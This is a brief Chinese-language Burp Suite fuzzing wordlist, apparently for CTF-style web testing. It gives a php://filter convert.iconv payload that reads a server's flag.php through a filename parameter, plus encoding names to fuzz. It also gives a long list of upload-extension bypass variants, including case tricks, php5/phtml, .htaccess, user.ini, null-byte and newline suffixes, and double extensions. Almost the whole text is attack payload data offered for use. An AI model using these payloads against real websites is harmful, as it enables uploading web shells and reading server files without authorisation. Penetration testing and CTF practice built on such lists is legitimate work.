burp测试fuzz

convert.iconv.[]过滤器
?filename=php://filter//convert.iconv.EUC-JP*.UCS-4*/resource=/var/www/html/flag.php
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

文件上传后缀
php
php5
php4
php3
php2
html
htm
phtml
pht
pHp
pHp5
pHp4
pHp3
pHp2
Html
Htm
pHtml
jsp
jspa
jspx
jsw
jsv
jspf
jtml
jSp
jSpx
jSpa
jSw
jSv
jSpf
jHtml
asp
aspx
asa
asax
ascx
ashx
asmx
cer
aSp
aSpx
aSa
aSax
aScx
aShx
aSmx
cEr
sWf
swf
htaccess
cdx
cer
ashx
php.a
aspasp
asaspp
phpphp
user.ini
jpg
png
gif
%00php
php.rar
jpg/1.php
php\x0A
phar
php\.
php%0a
php:.jpg